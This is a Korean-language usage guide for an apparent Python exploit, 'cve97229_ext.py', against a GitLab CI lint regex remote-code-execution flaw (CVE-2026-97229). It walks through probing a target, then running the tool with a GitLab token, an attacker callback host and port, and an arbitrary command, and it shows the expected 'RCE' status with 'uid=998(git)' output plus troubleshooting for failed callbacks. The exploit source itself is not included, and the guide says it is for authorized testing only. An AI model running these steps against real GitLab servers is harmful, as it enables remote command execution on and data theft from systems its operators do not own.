
CVE-2026-97229에 대한 Python 익스플로잇으로, GitLab CI lint 정규식 RCE입니다. 프로젝트를 생성하고, 악성 CI 설정을 푸시하며, lint 엔드포인트를 트리거하고, HTTP 콜백을 통해 명령 출력을 검색합니다.
CVE-2026-97229는 GitLab CI lint 정규식 RCE에 대한 외부 익스플로잇입니다. 이는 권한이 있는 실제 GitLab 대상에 대해서만 사용됩니다. 프로젝트를 생성하고, 악성 CI 구성을 푸시하고, CI lint 엔드포인트를 트리거한 뒤, HTTP 콜백을 통해 명령 출력을 수신합니다. 이는 승인된 보안 연구 전용입니다.
CVE-2026-97229 External - 본인 책임 하에 사용하며 합법적인 테스트에만 사용하십시오
##연구 목적으로만 사용하십시오. 본인 소유의 시스템 또는 서면 허가를 받은 시스템에만 사용하십시오.
이 도구는 실제 GitLab 대상 전용입니다. 작동하지 않는 대상, 백업, 또는 접근할 수 없는 호스트에서는 작동하지 않습니다.
요구 사항
파일 저장
익스플로잇 코드를 다음 이름으로 저장하십시오:
cve97229_ext.py
범위 파일 생성
대상이 다음과 같다면:
https://gitlab.example.local
scope.txt를 생성하십시오:
echo "gitlab.example.local" > scope.txt
1단계 - 대상 확인
실행:
python3 cve97229_ext.py --url https://gitlab.example.local --probe-only --token "GITLAB_TOKEN"
예시:
python3 cve97229_ext.py --url https://gitlab.example.local --probe-only --token "glpat-AbCdEf1234567890"
좋은 결과:
"gitlab_signal": true
버전이 표시되면 다음과 같이 보일 수 있습니다:
"version": "19.4.0"
2단계 - 실제 대상에 대해 실행
실행:
python3 cve97229_ext.py --url https://gitlab.example.local --scope scope.txt --authorized --token "GITLAB_TOKEN" --callback-host YOUR_IP --callback-port 8000 --command "id"
예시:
python3 cve97229_ext.py --url https://gitlab.example.local --scope scope.txt --authorized --token "glpat-AbCdEf1234567890" --callback-host 192.168.1.50 --callback-port 8000 --command "id"
다음을 교체하십시오:
GITLAB_TOKEN = 귀하의 GitLab 토큰
YOUR_IP = 대상이 접근할 수 있는 귀하의 머신 IP
결과
성공하면 다음이 표시됩니다:
"status": "RCE"
그리고 다음과 같은 출력이 표시됩니다:
"output": "uid=998(git) gid=998(git) groups=998(git)"
일반적인 문제
out-of-scope:
scope.txt를 수정하십시오.
no-write-path:
토큰이 없거나 유효하지 않습니다.
known-patched:
대상 버전이 수정되었습니다.
no-callback:
대상이 귀하에게 다시 연결할 수 없습니다.
YOUR_IP, 방화벽, 네트워크 접근을 확인하십시오.
중요
대상은 실제 작동 중이며 접근 가능해야 합니다.